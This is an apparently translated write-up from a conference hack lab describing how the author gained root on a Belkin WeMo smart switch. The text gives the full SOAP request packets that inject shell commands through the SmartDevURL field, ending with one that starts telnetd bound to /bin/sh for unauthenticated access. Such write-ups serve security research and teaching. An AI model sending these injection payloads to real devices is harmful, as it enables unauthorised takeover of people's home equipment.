A security story: Get the ROOT permission of the Belkin Wemo Switch

A security story: Get the ROOT permission of the Belkin Wemo Switch

There are many activities on SecTor 2015, among which my favorite is the Internet of Things Hack Lab initiated by Tripwire ).

Internet of Things (IOT) is a physical device with network functions. These devices have diverse functions, such as smart bulbs, Smart thermostats, smart sockets, and the smart switches we will talk about below.

At the conference, Tripwire presented participants with research on global Iot attacks. They also listed an Iot device table, which contains devices such as routers and Smart TVs. They also presented a demonstration video on Home Router attacks.

On the first day of the meeting, I often talked to a group of staff from a group of vendors everywhere. I wanted to see what software or hardware products these vendors have done and what services they have provided. At the end of the first day, I decided to talk to the IOT hacker lab because I was totally attracted by their devices. They told me that all the devices in front of me were vulnerable and anyone could sit down and try to attack them. Maybe I'm too interested. I just copied my dirty hands and started the attack. Unfortunately, there was no available notebook at that time, so I decided to come back the next day. The next day I took my notebook with a KALI virtual machine and a wireless adapter. After I sat down, I began to look for the vulnerabilities on these devices. The first device I discovered and successfully exploited the vulnerability was the TRENDNet router, which had a bypass authentication vulnerability. The second device is the Belkin WeMo switch.

This article records my experiences with device and protocol attacks that I have heard of but never seen before.

About Devices

The Belkin WeMo switch is only part of the Belkin home. It is used to control all connected devices, and can also assign tasks to connected devices. The following are some specific configurations of the vswitch I attacked:

Device Name: WeMo Switch

Firmware: WeMo_WW_2.00.8326.PVT-OWRT-SNS

A vswitch that has not been configured and is powered on for the first time is connected to the wireless network. In general, the switch should be configured through a wireless network using a smart phone.

When I connect my laptop to WeMo's wireless network, I get the IP address 10.22.22.102. Then use the netdiscover tool (netdiscover-I wlan0-r 10.22.22.0/24). I found that the gateway IP address is 10.22.22.1.

Scan Device

After I confirm the IP address in the CIDR Block, the next step is to perform port scanning. Using the nmap tool (nmap-sS-sU-sV-v-e wlan0 10.22.22.1), the scan results are as follows:

 

How to communicate with devices

Access Port 49152 of 10.22.22.1 in the browser and find that it is 404. Then use the M-SEARCH command to find which UPnP services are available:

printf "M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:upnp:rootdevice\r\nMX:10\r\nMAN:\"ssdp:discover\"\r\n\r\n" | nc -u 239.255.255.250 1900 -p 1900

After the command is input, I find a netcat listener, which replies to me as follows:

nc -lup 1900HTTP/1.1 200 OKCACHE-CONTROL: max-age=86400DATE: Sat, 01 Jan 2000 01:23:41 GMTEXT:LOCATION: http://10.22.22.1:49152/setup.xmlOPT: "http://schemas.upnp.org/upnp/1/0/"; ns=0101-NLS: 794dc9a6-1dd2-11b2-9c60-cdf5773d7a81SERVER: Unspecified, UPnP/1.0, UnspecifiedX-User-Agent: redsonicST: upnp:rootdeviceUSN: uuid:Socket-1_0-XXXXXXXXXXXXXX::upnp:rootdevice

We found that there is a file named http: // 10.22.22.1: 49152/setup. xml that contains the module name, module quantity, serial number, and other configuration information. This file also lists the services that can be accessed through UPnP, and an XML file path that contains descriptions of usage methods and variables. Here, we found a service basicevent of interest and a document path containing specific service usage: http: // 10.22.22.1: 49152/eventservice. xml.

Vulnerability discovered

The vswitch only receives data from a few methods:

· ChangeFriendlyName· SetSmartDevInfo

To use these methods, I forged a SOAP request. The following is a request example:

POST <Service URL> HTTP/1.1Content-Length: <variable>SOAPACTION: "<Service Type>#<Method>"Content-Type: text/xml; charset="utf-8"Accept: ""<?xml version="1.0" encoding="utf-8"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:<Method> xmlns:u="<Service Type>"><<Variable>><Value></<Variable>></u:<Method>></s:Body></s:Envelope>

It seems that the ChangeFriendlyName vulnerability does not exist, but the SetSmartDevInfo vulnerability seems to exist. When I set the value of SmartDevURL to 'reboot', the switch restarts. The following is the request packet:

POST /upnp/control/basicevent1 HTTP/1.1Content-Length: <variable>SOAPACTION: "urn:Belkin:service:basicevent:1#SetSmartDevInfo"Content-Type: text/xml; charset="utf-8"Accept: ""<?xml version="1.0" encoding="utf-8"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1"><SmartDevURL>`reboot`</SmartDevURL></u:SetSmartDevInfo></s:Body></s:Envelope>

The next step is to find a way to GetShell.

Get ROOT

When I knew that the command could be executed, I knew it was time to get the shell. The switch may have some login services such as Telnet or SSH. First, I tried to set telnet by setting the value of SmartDevURL to 'telnetd '. Then, a quick scan (nmap-sS-vvv 10.22.22.1) is performed to check whether telnet is enabled on the switch.

 

It seems that tenlet is enabled. However, when I try to telnet to a vswitch, I am prompted to enter the user name and password. I decided to bypass the authentication after I tried a weak password attack for five minutes. After some research, I found that telnet can set the-l flag to determine the operation performed during logon. By setting the SmartDevURL value to 'telnetd-l/bin/Sh', I now get a shell directly after telnet, instead of a logon box that requires the user name and password. The specific data packet is as follows:

POST /upnp/control/basicevent1 HTTP/1.1Content-Length: <variable>SOAPACTION: "urn:Belkin:service:basicevent:1#SetSmartDevInfo"Content-Type: text/xml; charset="utf-8"Accept: ""<?xml version="1.0" encoding="utf-8"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1"><SmartDevURL>`telnetd -l /bin/sh`</SmartDevURL></u:SetSmartDevInfo></s:Body></s:Envelope>

Postscript

When I get ROOT, everything becomes possible. Now we have full control over the WeMo switch. You can turn on the device that closes the link. In addition, we can also modify some operations on the vswitch, such as adding some features. When other people obtain such permissions, they may take these smart devices for illegal purposes. For example, as a node in a botnet.

About Author:

Bryon Hart is a favorite security expert in information system security. He is a bachelor of applied information science courses at the sheldan University. He also has a diploma in computer engineering at the sheldan College. Bryon is now a security analyst at Duff & Phelps Information Security Service Team.